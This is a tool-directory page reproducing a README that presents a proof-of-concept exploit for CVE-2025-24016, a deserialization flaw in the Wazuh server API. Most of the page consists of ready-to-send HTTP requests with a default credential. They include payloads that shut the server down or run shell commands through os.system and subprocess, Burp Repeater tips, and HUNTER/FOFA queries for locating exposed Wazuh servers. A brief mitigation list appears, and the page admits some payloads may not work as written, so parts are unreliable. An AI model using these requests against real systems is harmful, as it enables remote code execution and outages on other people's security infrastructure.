Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC — A critical RCE vulnerability has been identified in the Wazuh server due to unsafe deserialization in the wazuh-manager package. This bug affects Wazuh versions ≥ 4.4.0 and has been patched in version 4.9.1. | Kitploit
Tools/GitHubGitHub/cybersecplayground/cve-2025-24016-wazuh-remote-code-execution-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubcybersecplayground/cve-2025-24016-wazuh-remote-code-execution-rce-poc

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

A critical RCE vulnerability has been identified in the Wazuh server due to unsafe deserialization in the wazuh-manager package. This bug affects Wazuh versions ≥ 4.4.0 and has been patched in version 4.9.1.

View Repository
221 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 Wazuh Remote Code Execution (RCE) - PoC

📌 Vulnerability Summary

A critical RCE vulnerability has been identified in the Wazuh server due to unsafe deserialization in the wazuh-manager package. This bug affects Wazuh versions ≥ 4.4.0 and has been patched in version 4.9.1.

🔍 Details

The flaw lies in the Wazuh API's DistributedAPI, where user-controlled input is unsafely deserialized. This allows attackers with API access (e.g., compromised dashboard or cluster node) to execute arbitrary Python code on the master server using the run_as endpoint.

📬 Proof of Concept (Burp Request)

root@kitploit:~
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  
Content-Type: application/json

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

📌 The Authorization header is the base64 of wazuh-wui:MyS3cr37P450r.*-.

📌 The payload causes the Wazuh server to shut down by calling Python's exit() method.

💥 Impact

  • Full Remote Code Execution via the API
  • Server Shutdown in PoC (DoS)
  • Risk of lateral movement across Wazuh clusters

🛡️ Mitigation

  • ✅ Upgrade to Wazuh v4.9.1 or higher
  • 🚫 Avoid exposing the API externally
  • 🧪 Monitor unusual API activity
  • ✅ Example Payload to Run whoami

    root@kitploit:~
    {
      "__unhandled_exc__": {
        "__class__": "os",
        "__import__": "os",
        "system": "whoami"
      }
    }
    

    But this alone won’t work unless the deserialization code actually executes the object tree. Instead, use a __reduce__ based object that executes code.

    Here’s the working format for a Burp request using Python’s os.system() via pickle-like logic:

    💣 Working Burp RCE Payload (Python Code Execution)

    root@kitploit:~
    POST /security/user/authenticate/run_as HTTP/1.1
    Host: target.com:55000
    Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
    Content-Type: application/json
    
    {
      "__reduce__": [
        "__import__('os').system",
        ["whoami"]
      ]
    }
    

    🧬 To run ls, change payload:

    root@kitploit:~
    {
      "__reduce__": [
        "__import__('os').system",
        ["ls -la"]
      ]
    }
    

    You can also use:

    root@kitploit:~
    {
      "__reduce__": [
        "__import__('subprocess').getoutput",
        ["id"]
      ]
    }
    

    ⚠️ Note: The actual deserialization must happen with eval() or similar mechanisms in the backend for this to work. Based on the Wazuh PoC, this is indeed possible if you control auth_context.

    🔐 Pro Tip Intercept the request in Burp, go to the Repeater tab, and test multiple payloads like:

    • "whoami"
    • "id"
    • "uname -a"
    • "ls /home/wazuh"

    👇Query

    • HUNTER : product.name="Wazuh"
    • FOFA : app="Wazuh"

    If the response is empty or status is 500, check logs — sometimes output isn’t returned. 📚 Stay sharp, hackers! More bug bounty PoCs, bypasses, and payloads are coming!

    Follow 👉 @cybersecplayground for daily hacking content!

    #bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit

    Download Tool